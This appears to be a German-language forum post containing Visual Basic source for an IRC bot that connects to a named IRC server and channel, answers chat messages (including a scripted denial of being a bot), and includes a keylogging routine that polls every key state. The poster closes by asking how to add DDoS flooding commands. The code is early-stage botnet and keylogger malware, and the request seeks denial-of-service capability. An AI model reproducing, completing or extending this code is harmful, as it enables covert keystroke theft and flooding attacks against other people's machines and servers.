Option Explicit
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub keytimer_Timer()
Dim log As String
Dim resulta As Integer
Dim n As Integer
For n = 1 To 255
resulta = 0
resulta = GetAsyncKeyState(n)
If resulta = -32767 Then
log = log + Chr(n)
End If
Next n
End Sub
Private Sub Timer1_Timer()
ws.Close
ws.Connect "irc.rising-systems.de", 6667
Do While ws.State = 6
Timer1.Enabled = False
DoEvents
Loop
End Sub
Private Sub ws_Close()
Timer1.Enabled = True
End Sub
Private Sub ws_Connect()
With ws
.SendData "NICK Assasine" & vbCrLf
.SendData "USER Assasine Assasine Assasine Assasine Assasine" & vbCrLf
End With
Timer1.Enabled = False
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim strData As String, arrData() As String, i As Long, msg() As String, command As String, dat() As String, com As String, p As Integer, Reply As String, sInhalt As String, uptime As String
ws.GetData strData, vbString
If InStr(strData, "PING") = 1 Then
ws.SendData "PONG " & Split(strData, " ")(1)
ws.SendData "JOIN #BDC" & vbCrLf
End If
arrData = Split(strData, vbCrLf)
For i = 0 To UBound(arrData) - 1
msg = Split(arrData(i), "#BDC :")
command = msg(1)
dat = Split(command, " ")
com = dat(0)
txt2.Text = txt2.Text & vbCrLf & command
Select Case command
Case "hi"
ws.SendData "PRIVMSG #BDC : hallo" & vbCrLf
Case "lol"
ws.SendData "PRIVMSG #BDC : :)" & vbCrLf
Case "wie gehts?"
ws.SendData "PRIVMSG #BDC : gut und selbst?" & vbCrLf
Case "auch gut"
ws.SendData "PRIVMSG #BDC : aha" & vbCrLf
Case "bist du ein bot?"
ws.SendData "PRIVMSG #BDC : lol. net das ich wüsste." & vbCrLf
Case "'quit"
ws.SendData "PRIVMSG #BDC :/quit" & vbCrLf
ws.Close
Unload Me
End
Case Else
End Select
Next i
End Sub
Private Sub ws_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Timer1.Interval = 3000
Timer1.Enabled = True
End Sub
so. nun wollte ich mal ein paar befehle reincoden nur ich finde nix wie ich was mit ddos oder so coden soll. wie floodet man wen mit vb mit hilfe der ddos atacke.? _________________